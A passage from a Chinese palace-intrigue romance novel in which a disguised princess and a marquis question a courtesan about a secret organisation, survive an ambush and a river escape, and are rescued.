“公主这番扮相,比京城中那些个玉面郎君还要俊俏几分呢。”张仙递来一面铜镜,笑吟吟道,“我去寻侯爷过来。”说完,她便朝门外走去。
叶拂青看向镜中的自己,挺鼻薄唇,朗目疏眉,活脱脱一副江南纨绔子弟的模样,尽显风流潇洒。
“公主扮作男子也是俊美无俦,连谢二公子来了都要逊色几分。”夕照站在一旁兴奋地看着她,欢欣鼓舞地说,“侯爷更是望尘莫及。”
叶拂青知晓她是在捧场哄自己高兴,也笑着回她,“在你眼里,侯爷竟比不上谢誉峤么?”
话音刚落,门便被打开,谢濯同张仙一齐站在门外。
叶拂青下意识抬眼看去,便见张仙尴尬局促站在谢濯身后,见她这副模样,叶拂青便知晓谢濯定也是听见了,但她对此事也不方便直言解释什么,只能装作无意,将此事略过。
她朝谢濯走近几分,转了个圈,大大方方地展示道,冲他挑了挑眉,“侯爷觉得如何?”
谢濯淡淡扫了她一眼,说,“公主倘若真是个公子哥,那恐怕是处处留情,沾花惹草,后院不宁。”末了他又意有所指地说,“不过公主现下也并不比那些纨绔逊色。”
叶拂青正抬起衣袖颇为好奇地欣赏着,闻言不怒反笑,“侯爷对我的作风似乎颇有微词,可是有什么误会?不如说来听听。”
“事实罢了。”谢濯不冷不热道,“纨绔做派公主已无师自通,臣现下便只需教您如何伪声即可。”
听见伪声一词,叶拂青敛起浮躁的心思,心中的警惕又高了几分。她在密道之中来不及问,此时正好借此机会,“不知侯爷是如何知晓这伪声之法的?”
谢濯淡淡瞥她一眼,不疾不徐道,“这谈不上秘法。宫中暗卫、皇城司官吏都受过此番训练,不乏有精通者。公主这般好奇,难道不知身边的暗卫也善用此法?”
叶拂青心下一沉,她分明记得自己的暗卫皆不通晓伪声之法,为何其他宫中的暗卫会刻意培养?她敛起情绪,神情自若,“我未曾关注过这些,确实不如侯爷知识渊博。”
谢濯不置可否,他抬手指了指自己的喉结,示意她仔细观察,“公主仔细跟着我学,不求精通,只需能蒙混过关即可。”
“嗯。”叶拂青正色道,眼睛一眨不眨地看着他,跟着他来回练习了十来遍,总算找到了一些诀窍。
“公主在这些‘不正经’的事情上倒是颇有天赋。”谢濯说。
叶拂青瞥他一眼,慵懒笑道,“我自小天赋异禀,侯爷用不着自卑。”
两人没再继续插科打诨,谢濯又重新教了几遍,直到她差不多掌握了伪声才停下。
“公主稍后须得时刻记住自己的假身份,伪声时间一长,难免会阻碍喉腔,出声困难,所以还望公主速战速决。”谢濯提醒道,“莫要因美色误事。”
“这是自然。”叶拂情点点头,又问,“不知侯爷可将谢誉峤的行踪摸透了?倘若他今夜也去了藏香阁,那我们岂不是白费工夫?”
“他人尚在府中,公主不必担忧。”谢濯说着,又朝外唤道,“卜彦。”,不一会儿便有个身着黑色劲装的男人走进来。
谢濯肃声道,“倘若今夜二公子出门,务必赶在他之前告知我。我今夜会在藏香阁,若他也去,速用传讯烟花。”
“是。”卜彦拱手行礼,退了出去。
叶拂青正想着如何才能神不知鬼不觉地溜出去,便见谢濯走到书案后的墙壁前,轻轻推动一旁的砚台,便出现一道暗门。
“原来侯爷也留有后手。”叶拂青揶揄道,领着其他几人一起走入暗道。
暗道直通侯府偏门,此时僻静无人,叶拂青压低声音说,“张仙,今日麻烦你了,我们另寻个日子好好潇洒一番。”
“那便等公主下次邀约。”张仙朝她一笑,潇洒地离开了。
叶拂青又转头跟夕照叮嘱道,“夕照,你今日先回宫,我不知晓此去需要多久。倘若我明日午时也未回宫,你便领着影卫们一同来寻我。”
夕照点点头,叶拂青将她送上回宫的马车之后,才和谢濯一前一后上了马车。
叶拂青仍旧对伪声一事耿耿于怀,她思来想去,便想着拿密道一事做幌子,正色问,“方才我一路思索,又发现几个疑点。敢问侯爷,谢誉峤身边的侍从,可都是侯爷分派的?亦是精通伪声一法么?”
“并未。”谢濯只当她是真切询问,解释道,“我分派给他的侍卫不过都是寻常侍卫,并不通晓伪声。只是,”他顿了顿,继续说:“侍卫自送给他那一天起,便认他为主,受他差遣,我无法保证他之后没有训练过他们。”
叶拂青皱了皱眉,追问道,“那私人训练同朝廷有何不同?方法可是一样的?”
谢濯说,“朝廷和民间自是不可能一样,我方才教你的是宫廷之法,除去能够接触到的必要势力,其他人应当并不知晓。”
叶拂青眸色瞬间冷下来,究竟是叶琼音和谢誉峤早已暗中勾结,培养了这么一批人,还是此事另有蹊跷?
不等她想出个结果,马车便已
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经停在藏香阁前。
叶拂青从沉思的状态中脱离出来,“侯爷,合作愉快。”说完,她衣袖一扬,从马车跳下,大摇大摆地朝藏香阁走去。
老鸨瞧见她一身穿金带银的打扮,满脸堆笑地走上前来,讨好地问,“这位公子,赏舞听曲,寻欢作乐,我们藏香阁最是京城一流,不知公子是想?”
叶拂青端着一副风流做派,慢悠悠道,“我在江南之时便对藏香阁略有耳闻,免不得心生向往。听闻这有位兰姑娘唱那江南小调,吴侬软语,最是酥骨迷人,不知今日可有机会一见?”
“兰姑娘今日恐怕不方便……”老鸨语气中有些为难,“不如公子换其他姑娘作陪,我们这的姑娘那都是……”
站在叶拂青身后的谢濯立马上前一步,作势要拔剑,沉声道,“支支吾吾,推三阻四,是瞧不起我们江南子弟,自诩京中贵人,不屑招待我们了?”
叶拂青对上老鸨那双乞求的眼睛,淡笑几声,朝谢濯摆摆手示意他收好剑,“阿洒,退下吧,我想老鸨也不是故意为难我们才是。”两人一个唱白脸一个唱红脸配合着。
“这是自然这是自然。”老鸨连忙说。
叶拂青又拿出一锭元宝在老鸨眼前晃了晃,“美人难寻,要见一面比寻常难我自是理解,还望老鸨能替在下想点法子,圆了我这个愿望。”
“这……”老鸨的视线在他们二人之间来回打量,最终才应了下来,“二位请跟我来。”
“兰姑娘今日身体不便,本是不接外客,但我见公子如此诚心,便替你同她牵个线,不过只能听个曲儿,别的还望公子体谅。”老鸨一边领路一边说,“兰姑娘本名兰棠,是我们藏香阁的头牌之一,京城多少王公贵族都是她的入幕之宾。公子能见她一面,定是不会后悔的。”
“能一睹美人芳容,是在下几世修来的缘分。”叶拂青说着,蜜语甜言信手拈来。
老鸨迎他们走进一处院落,说,“到了,此处便是兰香苑,是兰姑娘一人的住所。”她迎着他们在庭院中的石桌上落座,随即又说,“公子在此处稍等片刻,兰姑娘稍后便来。”
“嗯。”叶拂青点点头,等她一走,便开始细细打量这个庭院,兰花满园,此情此景,更衬佳人。
“臣怎么不知道我还有个名字叫阿洒。”谢濯声音幽幽。
叶拂青漫不经心地说:“何必在意这些细枝末节。濯,洒也。有何不妥?”
谢濯冷笑一声,意味不明地说:“臣还以为您是在拐着弯骂我。”
叶拂青一开始并无此意,但回过头一想,这洒和傻,念出来确实有些相似,不由得笑了笑。她拿起桌上茶杯,连这杯壁上画的也是兰花。
“这兰姑娘比我想象中的还要有分量呢。”叶拂青笑着说。
两人未再交谈,只是细细观察着庭院中的一砖一瓦,一花一木。
“让公子久等,奴家来迟了。”一道温柔含笑的女声响起。
13. 第 13 章
叶拂青抬眸看去,便见一位身着玉青色软烟罗裙的姑娘捧琴缓缓走来,杏面桃腮,眉若远岫,那一双明眸看来时,秋波荡漾。
叶拂青面上笑意盈盈,心中却惊诧困惑不已。她总觉得这双眼睛在何处见过,印象深刻乃至于难以忘怀,但她分明不认识对方。
只是此时不是分心的时候,她敛好情绪,正经几分,起身拱手迎兰棠落座,柔声道,“兰姑娘风姿绰约,果真是百闻不如一见。”
“公子说笑了。”兰棠嫣然一笑,同她一起坐下,语调柔和轻缓如江南小调,“今日初见,奴家便觉得与公子甚是投缘,不如以一曲相赠。公子想听什么?”
叶拂青思酌一番,说,“不知梅花三弄可否?”
“奴家也甚是喜欢这首曲子,今儿当真是遇上知己了呢。”兰棠朝她微微一笑,继而敛眸抚琴,声音悠然空灵。
叶拂青一眨不眨地看着兰棠,在她印象中对方的眼睛要更加凶狠,像一团火,今日却柔情如秋水。
难不成是她认错了?叶拂青心中细细盘算。只是无论兰棠是与不是,今日都必定要入她设好的局。
一曲终了,余音绕梁。
“好!”叶拂青面上尽是欣赏和惊艳之意,毫不吝啬地捧场鼓掌,夸赞道,“侬语酥骨,兰姑娘当真名不虚传。”说完,她又从袖中掏出一块儿金镶玉递给兰棠,“美人赠曲,实乃人生一大幸事。观此玉貌花容,便只有美玉赠佳人才配得上。”
兰棠连忙推拒道,“我怎能收公子如此大礼?”
叶拂青料中她的打算,将玉强硬塞入她怀中,淡笑道,“还望姑娘收下,在下今日来见姑娘也是有一事相求。”
兰棠将琴放在一旁的圆桌,疑惑问道,“公子此言何意?”
“我知春宵一刻值千金,也知姑娘乃藏香阁翘楚,我也不必拐弯抹角,藏着瞒着。”叶拂青眉眼含笑,直入主题,“久闻藏香阁大名,能在京城寸土寸金之地混得如鱼得水,我自然是也想请教几番。”
兰棠笑着回看她,“公子尽可去问老鸨,她才是掌管藏香阁之人,何必要从我这打听呢?”
“姑娘莫要说笑了。咱们生意人,哪能瞧不出其中的弯弯绕绕。这老鸨说不好听了,不过是个暴露于人前的傀儡罢了,我真正想要请教的,自然是那幕后之人。”叶拂青说。
“我本以为公子不过是来消遣的,想来见我一面呢。”兰棠嘴角勾着一抹淡淡的笑,嗓音中有几分委屈抱怨,“原来也是另有所图。”
叶拂青伸出手轻轻拨开她额角的碎发,双目含情,声音柔情似水,“我自然也是怜爱姑娘的,不如姑娘替我引荐之后,再同我双宿双飞?”
“公子当真愿意么?”兰棠扑进她的怀里,手指在她胸膛处一下一下地画着圈,“只是啊,奴家也没法替您牵线搭桥呢。”
叶拂青面不改色,“姑娘想要什么?天材地宝、荣华富贵,姑娘想要的,我自是想尽办法也要献予你。”
兰棠别有深意地笑起来,“公子恐怕是给不起。况且我只是小小艺妓,哪来的本事和主人家有联系呢?。”
叶拂青还想再说什么,便见兰棠伸出食指按住了她的嘴,娇嗔道,“公子莫要再说些为难奴家的话了。”
叶拂青知晓她语气虽柔但态度强硬,恐怕是不可能从她这里得到幕后老板的消息了。但叶拂青本身也没对能直接得到消息抱有期待,不过是故意将最难做到的要求提出来,方便她后面再提出不那么难的要求。
“这也不愿,那也不许。”叶拂青将她揽入怀中,“那姑娘又能将什么消息卖给我呢?”
“公子想买什么消息?”兰棠说。
叶拂青拨弄着她的发丝,“我听闻谢家二公子同姑娘甚是亲近,不如……”
“公子知道的可真多,不知这二公子又是犯了您什么忌讳?”兰棠从她怀里挣脱出来,问道。
“怎能说是忌讳呢?”叶拂青尾音勾着笑意,“但我若直接同你要平远侯的消息,姑娘恐怕也是给不起的吧?我怎么再舍得让美人为难?”
“公子对奴家真体贴。”兰棠倒了一杯酒,递给她,“公子想知道什么呢?我可要事先说好,我要的代价可不小哦。”
叶拂青看着杯中摇晃的酒液,倒影中她的脸模模糊糊。叶拂青一饮而尽,说:“美人想要什么,我定当全力满足。”
“在下听闻谢家兄弟二人感情和睦,倘若我直接找上谢二公子,恐怕是无法说服他同我合作。我只是想借姑娘之手,替我说几句好话,要他同和我一起除掉平远侯。倘若他和我合作,我可以许他万千荣华。”
叶拂青一边说一边观察着她的表情,只见她眸光微闪,回道,“公子的胃口可真不小。只是我也没法帮公子您这个忙。”
“为何?我能给予他……”叶拂青顿了顿,又问,“还是说,二公子已经同别人合作?让我猜猜,难不成是你们幕后老板?姑娘不愿意替我引荐,原来是想独吞这块肥肉。”
兰棠淡然看向她,“公子想多了。”
叶拂青等着她的下文,但她不再言语。叶拂青伸手抚上她的脸,状似无意地覆住她下半张脸。
只那么一眼,叶拂青便猛然回想起来,前世她见过这双眼,是在成亲第二年。
那一年,大理寺重大案件屡出纰漏,嫌犯逃了一个又一个。圣上震怒,下令彻查此事,在追查时揭露了一民间刺杀组织,其名问霄观,早已在暗中悄然取缔皇城司的情报网。谢濯因看管不力,未守其职,被下诏狱。
朝廷出兵剿灭问霄观,将一众嫌犯斩首示众那日,谢誉峤不知所踪。叶拂青担忧他是去诏狱见谢濯,便赶忙出门去寻他。只是在途中被一人所劫持,那时她们距离十分近,叶拂青瞧她瞧得分外清楚。
叶拂青回过神来,沉声道,“姑娘处处推脱。不如告诉我,这下方密道,究竟藏着什么组织呢?”
兰棠显然被她这句话一惊,眼中霎时迸发出冷意。
叶拂
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青将她的小动作纳入眼中,心中确认不少。她抬手抚上兰棠那双眸子,明明是凶猛的野兽,却偏偏装出一副乖顺可人的模样。
“朝廷早有皇城司搜查信息打探情报,但未曾知晓民间势力也在暗中壮大,而这组织,应当就藏在这之下吧?”叶拂青指了指自己脚下的地,笑着说。
“姑娘事事都同我推辞,我如何能同你做好这笔买卖呢?”
叶拂青朝谢濯使了个眼神,谢濯心领神会,挥剑上前,将剑刃立在兰棠的脖颈上。
“姑娘愿不愿意告诉我,我都已经发现蹊跷。何不做个顺水人情?我让你帮我引荐你也不愿,此时只是让你替我说服那谢二公子跟我合作,你亦是不愿。”叶拂青的语气越来越冷,“我一向怜香惜玉,见不得美人流泪,还望姑娘不要让我难做。”
兰棠声音微微颤抖,“不是我不愿替公子做这件事。而是谢二公子确实绝无可能同你合作。”
叶拂青皱了皱眉,对她的话持怀疑态度,“此话怎讲?”
“公子定然也知晓谢二公子同平远侯一母同胞,兄弟情深,怎么可能会同您一起对平远侯下手呢?”兰棠说。
“在利益面前,亲情算什么?”叶拂青嗤笑一声,“姑娘难不成是想说,哪怕谢誉峤加入了你们这个组织,仍旧傻傻地不知道这个组织是冲着他哥去的么?”
闻言,谢濯的剑又往下压几分。
“公子不信?”兰棠泪中带笑,抬眼看着她。
叶拂青看着她这副模样,回想起谢濯的话,突然笑了出来,“姑娘是想说,自己给谢二公子日日吹枕边风,以此蒙骗了他,其实他无辜的很?”
“这种笑话我已经许久不信了。”
兰棠叹了口气,缓缓开口,“公子对他不甚了解,而我却是这个世界了解他的人。如何利用他,如何让他心甘情愿地跳入陷阱,我比谁都知道得更清楚。”
叶拂青皱了皱眉,始料未及竟然是这种发展,她冷声道,“那姑娘便告诉在下,是如何……”
她的话还没有说完,兰棠便抬手劈向谢濯,弯腰从他剑下逃出。“公子先前说,我想要什么都满足我。”
“倘若我说,我想要公子的命呢?”兰棠的声音森然,犹如厉鬼。
话音刚落,便有打手从四面八方破窗而入,将他们牢牢围住。
叶拂青心里一惊,她竟然未曾察觉到兰棠是如何传出的暗号。
“我劝公子别将希望寄托在谢二身份,一个蠢货而已,难成大事。”兰棠冷笑道,“不如公子乖乖从了我,做我的座下犬,替我将那平远侯咬个尸骨无存,我便考虑放你一条生路,如何?”
“姑娘这是何意?”叶拂青肃声问,靠近谢濯几分,同他背靠背面对一众围攻,她压低声音同谢濯说,“一人解决一部分,我们应当能……”
她的话还未能说完,叶拂青便觉得天旋地转,身体无力。她强撑着睁开眼睛,只能看到白花花一片,最终坚持不住,猛地倒下。
14. 第 14 章
叶拂青晕得不彻底,她能看见谢濯大跨步走来搂住她的腰,但她的头还是先一步狠狠磕在地上,本就不清醒的脑袋此时更是眩晕几分。
就不能反应快点么?叶拂青默默想着,但她此时没力气说话更没力气皱眉。整个人就像一只无力的布偶人,被谢濯搂在胳肢窝里,然后又往后背一扔。叶拂青下意识搂住他的脖子,尽量放低自己的存在感不给他添麻烦。
“别挣扎了,现在束手就擒我考虑考虑给你俩留个全尸。”兰棠笑得张扬,朗声说。
谢濯没有说话,只是闷头挡住他们的刀剑。
叶拂青的头无力地垂在他的肩膀上,从这个角度看去,他耳朵上那颗红痣几乎是怼在她眼前。甚至因为耳朵充血,这颗痣显得更红了些。
他额角渗出的汗越来越多,打湿了发丝和鬓角,动作也越来越吃力。围上来的人越来越多,刀光剑影,短兵相接,叶拂青像是又回到那个雨天。
叶拂青的呼吸倏然急促起来,她闭了闭眼,用尽最后的力气开口说,“你走吧。”
她现在是个累赘,带着她,两个人都会葬身于此。如果没有她,谢濯还有活下去的可能。
说完这句话她便彻底晕了过去,无论生理上还是心理上她都彻底陷入了昏迷。她实在是不愿再经历一次被人扔下的感受了,至少晕死过去还不用看见他离开的背影。
不知道无知无觉地漂浮了多久,叶拂青再醒来时,入目是坚实的后背,她的鼻尖萦绕着经久不散又浓厚的血腥味。
“死了?”谢濯冷冷开口。
即使他刻意伪装,叶拂青也还是从他的嗓音中听出他的吃力和喘息。
叶拂青一时间难以形容睁眼再见到他时的感受,心和胸口都闷闷的。她没有问是怎么逃出来的,只是十分勉强地扯了扯嘴角,气若游丝,“你也……死了?”
谢濯突然将她背得更紧了些,随即一跃而上,在屋檐上站定,疾速逃离兰香苑。
耳边风声呼啸,叶拂青靠在他背上感受着他的胸腔震动,听见他说,“我可没有殉情的爱好。”
叶拂青没再说话。
“希望我们命大。”
叶拂青刚听他说完这句没头没脑的话,整个人便跟着他一起从高空坠落,砸入微凉的河水中,水花四溅,她的肢体也被冲击力一震,五脏六腑移位,像是要散架了。
她偏头去看谢濯,他周身的河水都被鲜血染成了红色,因为失血过多,他的唇色越来越白。
他本身就中了毒,又耗费这么多力气,估计早撑不下去了,难为他还能将自己扛出来。叶拂青笑得勉强。
叶拂青用尽力气脱下外袍将两个人紧紧绑在一起,但她此时也没力气游到岸边,只能让流动的水推着他们俩一起走,随波逐流。
叶拂青强撑着力气,紧紧搂抱住他,不停地在他耳边念叨着,“别死了。”
叶拂青时晕时醒,每次睁开眼的第一反应都是看看谢濯还在不在身边。
不知过了多久,叶拂青终于从失力的状态中缓过劲来一些,她下意识伸出手搂紧谢濯,然后四处看了看,不远处就有一个浅滩。
叶拂青松了一口气,半拖半拽地将他拉上岸。她将捆着两人的外袍解下来,将他平铺在地上,用手把他伪装出来的面皮擦干净,露出他原本的脸。
谢濯仍旧是毫无反应,白着一张脸躺在地上。
她试探性地摇了摇他的肩膀,用气音说,“谢濯,你死了吗?”叶拂青伸出手放在他鼻子下,感受到有温热的气息才放下心来。
她此时也没多少力气,唯一庆幸的是两个人带着消息活下来了。虽然狼狈,但也能更加确定兰棠和那个组织的关系,黑衣人和兰棠用的都是同样的毒,关系必定匪浅。
她试着活动了一下筋骨,发现还是使不上什么劲,便干脆躺在石子上,半眯着眼看夜空。她偏头去看谢濯,只见他拧着眉,不断有汗留下,似乎很是难受。
“你也中毒了?”叶拂青看着他的脸越来越红,掰着他的脸来回观察,他的整张脸都在发烫。
发烧了?
这么多刀伤又泡了一晚上的水,估计是感染了。叶拂青皱了皱眉,自言自语道,“好不容易活着逃出来了,可别死在这里啊。”
叶拂青叹了口气,强撑着直起身,一路摔着走着,总算找到一些干柴。费了九牛二虎之力才生着了火,叶拂青赶紧把外袍烘干,她凑近看着他紧闭的眼睛,问,“醒了吗?”
谢濯还是没反应。
叶拂青稍稍松了一口气,用手帕盖住他的眼睛,然后三下五除二赶紧穿上外袍把湿透了的衣服换下来一件件晾干。
等她干干爽爽后,叶拂青又弯下腰去准备给他脱衣服,发现扯不动,定睛一看,才发现他半睁着眼,不满地看着她。
他什么时候醒的?叶拂青一惊,随即强装自然,说,“醒了啊?我是准备给你换衣服,你想穿着湿淋淋的衣服吗?本来就发烧了。”
“不……”谢濯声音嘶哑。
叶拂青眉头一拧,“现在都什么时候了,还害羞?你想死我可不想。”
“我自己……”谢濯咬牙切齿。
“行行。”叶拂青无奈摆了摆手,“我去抓几条鱼回来,你在这把衣服烘干吧,一件一件烘干了,放心我不会偷看你。还有,把身上的伤稍微处理一下,再感染可是要命的。”
叶拂青将裤脚打结捆在腿上,小声嘟囔着说,“又没什么好看的。”
谢濯仍旧死死盯着她,那炽热的目光,哪怕是病成这样,也盯得她发麻。
“赶紧。”叶拂青瞥他一眼,催促道。
“自作多情的良家妇男。”叶拂青丢下这句话便匆匆跑了。
叶拂青找了块水域,先把自己的脸洗干净,然后找了根两端尖的棍子迈入水中,天刚蒙蒙亮,她睁大了眼睛去找才好不容易才插中两条鱼。
她提着鱼站在河边观察四周,这似乎是河流的下游,荒芜、杂草丛生。叶拂青琢磨了一会儿,只能大概猜测这是在远郊的南边,但具体是哪,她摸不清楚。
估摸着谢濯应该差不多了的时候,叶拂青才提着两条鱼往回走。隔着三
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四十米,她远远就看见谢濯背对着这个方向,但只穿好了裤子,正准备穿衣服。
怎么这么磨蹭。叶拂青停住脚步,眼神半点没客气地扫视他赤裸的上半身。
这背肌,这肱二头肌,这……
行吧,确实有不让人看的资本。叶拂青轻啧一声,转过身去,背对着往回走,装作什么事也没发生,扬声问,“好了没?”
“站那。”谢濯急急出声。
“哦,你快点啊,怎么这么麻烦呢。”叶拂青又停下脚步。
身后悉悉索索穿衣服的声音清晰传入她耳中,叶拂青低头看了看自己手里拎着的鱼,又随意踢了踢脚下的石子。
“可以了。”谢濯说。
叶拂青转过身去面朝他,大迈步走了回去,将手中的两条鱼递给他。
“我有伤在身。”谢濯淡淡道。
“行。”叶拂青拿回自己那条,意有所指地说:“还能喘气就自食其力。”
分明昨天还统一战线叫着对方别死,今天一醒又互呛了起来。
“你救我一次,我救你一次,扯平了。”叶拂青漫不经心地说
谢濯偏头看着她,“不断掉入险境,不断死里逃生,公主觉得难道是觉得此后便安稳了?”他顿了顿,又说,“我观局势风云诡谲,恐怕是扯不平了。”
叶拂青也知道局势朝她不可控的方向发展了起来,她前世有太多不了解的事情,导致今生也没法好好解决问题。想了会,她叹气道,“别还没生同衾,就已经死同穴了。”
一时间谁也没再说话,两人坐在火堆旁,无言烤着鱼。
夜风吹来,叶拂青起了一身的鸡皮疙瘩,她往前坐了坐,更靠近火堆。
“公主还会生火捕鱼?”谢濯突然问。
“很惊讶?”叶拂青冲他挑挑眉,“侯爷不知道的东西还多了去了呢。”
谢濯笑得勉强,说话也有气无力,“确实和我想象中只会享乐闹事的公主有些不同。”
虽然这句话是想夸她,但叶拂青怎么听怎么不对。
“公主为什么会这些?”谢濯又问。
叶拂青有些惊讶地看向他,这还是谢濯第一次在除了怀疑她的事情上对她好奇。
“很想知道?”叶拂青故作神秘地说,“我们大侠都是会这个的。这也不是什么很难的事吧。”
谢濯瞥她一眼,“公主喜欢田野生活?”
“聪明。”叶拂青敷衍地夸了一句,没打算继续这个话题,又说,“侯爷真是好身手,这么多人都能突出重围。”
谢濯沉默一瞬,随即说,“誉峤来了。”
“兰棠哪还有时间对付我们,她该好好想想怎么跟他解释。”谢濯冷笑道。
叶拂青皱了皱眉,“谢誉峤又过去了?”她转过头去看着谢濯,“你真该好好问问谢誉峤他到底想干什么。”
不管兰棠说得几分真几分假,从目前的局势来看,他们更能相信的应该是谢誉峤才是。
“我也想问公主,您那些话是诈她的,还是你知道些什么?”谢濯沉声问。
15. 第 15 章
叶拂青听见他问这句话不由得一怔,他这多疑的性子果然是刻在骨子里的。她敛眸正色道,“自然是诈她的,效果不是也很显著么?”
“当真如此?”谢濯半信半疑地说,“公主在某些事情上的敏锐程度总是让我惊讶。”
叶拂青脑海中霎时闪过好几个“侥幸逃脱”的场景,她面色不变,镇静回道,“不够敏锐就会粉身碎骨,侯爷应该比我更清楚这个道理。”
谢濯淡淡扫了她一眼,没再说话。
叶拂青也不再看他,只专注盯着自己手中的鱼。
巴掌大的鱼在火中翻来覆去炙烤,渐渐散发出熟透的清香味。叶拂青被这气味勾起了馋意,她看见一旁的谢濯还没将鱼烤熟更是得瑟几分。
“侯爷在其他情况下也是如此磨蹭吗?”叶拂青意有所指地说,但也没有真想得到他的回答。只是三下五除二吃完了鱼,又掏出手帕擦了擦手。
叶拂青想着他的手也油腻腻的,好心将手帕递过去,说,“给你。”
谢濯盯着这条手帕迟迟没有接过,似乎是在思考什么,叶拂青不由得想到刚才用手帕蒙住他眼睛的事儿。
她咳了几声,把他注意力扯回来,“干净的,只是擦个手而已。”
谢濯没接,只是攥着一角,十分“勉为其难”地擦了擦手。
叶拂青白他一眼,很是瞧不上他这副做派,吐槽道,“真讲究,跟你真是过不到一块儿去。”她看也没看他一眼,干脆把手帕扔进火里烧了。
她随意地躺在地上,有些松散地说,“我再睡会儿。”
“荒郊野外,公主也睡得着?”谢濯淡淡说。
“怎么睡不着,我连续两天没睡过好觉了,哪还能挑在哪睡啊。”叶拂青转了个身背对着他,打了个哈欠,嘱咐道,“如果你还要处理伤就处理吧,我不会偷看的。只要别我一醒就看到你死了就成。”
谢濯没再说话,但身后也迟迟没有传来动作的声音。
这人怎么能这么别扭。叶拂青默默吐槽,但她也懒得再管了,本来就中毒没了力气,刚才硬撑着做了这么多事,再跟他聊几句,不仅生理上,连心理上也虚脱了。
叶拂青这几天总是容易做梦,这次估计是刺激得狠了,一整个晚上都在做不同的梦,梦境如碎片四散。最后整个人一如沉在湖底,眉头皱得越来越深。连在梦中她也迫切想要知道这一切究竟是怎么一回事。
如果谢誉峤加入冲霄观的事情有蹊跷,那他和叶琼音杀她的事是不是也有问题?但是,他们俩究竟要要干什么?对她又是怎样的打算?
“公主,公主。”
叶拂青听见有人在叫她,下意识挣扎着从梦魇中醒过来。
“梦见什么了?”那人问。
叶拂青眼睛模模糊糊只能看见对方大概的轮廓。
谢誉峤?
她困在梦魇之中,脑子还处在不清醒的状态中,下意识脱口而出去问对方的答案,“你为什么要杀我……”
“什么?”那人再度开口。
叶拂青后知后觉反应过来这声音是谁,瞬间出了一身冷汗,整个人僵硬得不行。她闭了闭眼,慢慢清醒过来,淡淡道,“做噩梦说的胡话,侯爷不必在意。”
谢濯不置可否,坐回了自己的位置。过了一会儿又扔了几个果子在她身上,“醒了就吃点东西。”
叶拂青抓住果子用衣袖擦了擦,哑声问,“你的人什么时候会找过来?你们就没点特殊暗号么?”
谢濯说,“传讯烟花泡了一晚上水已经没用了。”
叶拂青皱了皱眉,咬了一口果子,酸得她牙齿发颤。
谢濯继续说,“但是应该不会太久,这是远郊,他们没等到我,会顺着河流来找的。”
“侯爷训练有佳啊。”叶拂青又试探性咬了一口。如果是她的人,不知道能不能找到这里。这么一想,叶拂青心中有了打算,这次回宫之后也要多训练他们才是,以后想来不会太平,必须得早做打算。果然还是因为自己没有居安思危才导致自己死得那么容易啊。
“什么时候了?”叶拂青摸了摸空荡荡的肚子,问。
谢濯听着她肚子传来的咕噜声,嘴唇抿了抿,说:“公主还得再坚持一两个时辰。”
叶拂青哦了一声,没有起身,仍旧躺在地上,半点形象不顾,有时候被石子硌到了还会翻个身挠挠痒。
谢濯本来一言不发坐在一旁,突然转过头看着她说,“恕臣多嘴,您身为一朝公主,能不能稍微注意一点形象、礼节?”
“行了行了,没成亲呢你就管那么多,我宫里的教养嬷嬷都没你管得宽。”叶拂青有些烦躁地说,翻了个身看着他说,“谢濯,我认真再跟你说一遍。我这性子就是这样的我没法改,你要么忍要么……”
她想了想又摆了摆手,“除了忍就没别的了。再者说我们俩也只是凑合过日子,到时候能和离了我会通知你的。”
“通知我?”谢濯冷笑一声,“公主这过河拆桥的手段是愈发熟练了。”
“现在我们也算是合作关系了,你就稍微睁一只眼闭一只眼,何必要为难自己呢?说出来了我又不会改,白给你我添堵。”叶拂青说。
“行,是我多言了。”谢濯闭嘴不再说话。
两人沉默着度过了这段时间,叶拂青被暖呼呼的太阳晒得有点晕乎乎的,半眯着眼,似乎又要睡了。
“公主!”“侯爷!”此起彼伏的呼喊声响在河道的另一边。
叶拂青一个激灵就睁开了眼,末了她站起身来,拍了拍身上的灰,说“我在这!”“我在这!”
“省点力气吧,本身就没多少力气。”谢濯说完,弯腰捡起火堆旁的木棍,怼进火芯中稍微蹭了点火,然后吹了吹,木棍上便冒起了黑烟。
叶拂青看见他这一通操作,不由得赞赏道,“虽然侯爷这张嘴不行,但脑子还挺好的嘛。”
谢濯不理会她,一心只举着手中的火棍。
她眯缝着眼看向对面,发现夕照竟然也跟过来了,想不到变聪明许多嘛。
只是对岸的人迟迟没有注意到这边,叶拂青于是也学着他的样子,捡了根火棍举起来,不断地挥舞着。“我们在这!”
“公主!侯爷!”对面的人总算注意到了这边,大声叫喊着,“稍等一会!我们去找船!”
叶拂青刚松
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了一口气,一旁的谢濯身子一歪,突然拽住她的手腕,两人齐齐摔倒在地。
“谢濯你……”叶拂青眉头紧蹙,正打算开口骂他,便看见他双眼紧闭,整个人一直发虚冒着冷汗。
毕竟接连受伤,应当是身体透支到了极致。叶拂青哑然,试探着想要将他扶起来,但对方庞大的身躯半点不配合,巍然不动。
叶拂青被他抓住手,也使不上劲,只好说,“谢濯,你先松手,我扶你起来。”
谢濯毫无反应,只是牢牢禁锢住她的手腕,几乎是求生本能在作祟。他的手冰凉毫无暖意,体温也在不断下降,整个人的死气几乎从手腕传到她心脏,冻得她发颤。
叶拂青见此不敢再动,也认命地跟他一起躺倒,她本身就没什么力气,再折腾下去,估计自己也要晕了。
幸好侯府的侍从效率很高,不到一刻钟便借了艘渔船过来。
“公主!”夕照率先从船上跑下来,快步走到她身边,“侯爷,你们……”
“先别问这么多了,把他扶起来,他晕过去了。”叶拂青有些费劲地开口。
几个侍从闻言,连拖带拽准备将谢濯抬起来,将他二人分开。
“等等。”叶拂青急急出声,哪怕是这个时候,谢濯也没松手,像是生怕她扔下他一走了之似的,拧得她手腕生疼。
“慢点,把我跟他一起扶起来,你们家侯爷怕是晕得只剩下想要拽住我这根救命稻草的意识了。”叶拂青咬牙切齿地说。
其他人闻言面面相觑,谨慎小心地将他们一起抬了上去。
夕照看着肩靠肩、手挽手坐在一起的二人,欲言又止。
叶拂青看出她的意思,但自己被这么一顿折腾,也累得很,压根没力气再去解释什么。她自然也知道侯府侍从们的眼神时不时落在他们相交的手腕上,个个都惊讶不已的模样。
谢濯还是太没女人缘了,不然只是拉个手而已,大家至于这么大惊小怪么。叶拂青腹诽道。
在平稳又如摇篮般轻晃的船舱中,叶拂青的意识也慢慢模糊,下意识和谢濯头靠着头,一起睡了过去。
她再醒来时,入目是前不久刚见过的陈设,耳边是夕照和医师絮絮叨叨的声音。
“公主,您醒了?!”夕照注意到她睁开眼,难掩欣喜地说,“您身上的伤都帮您医治好了,只是这毒还得再养养才能痊愈。”
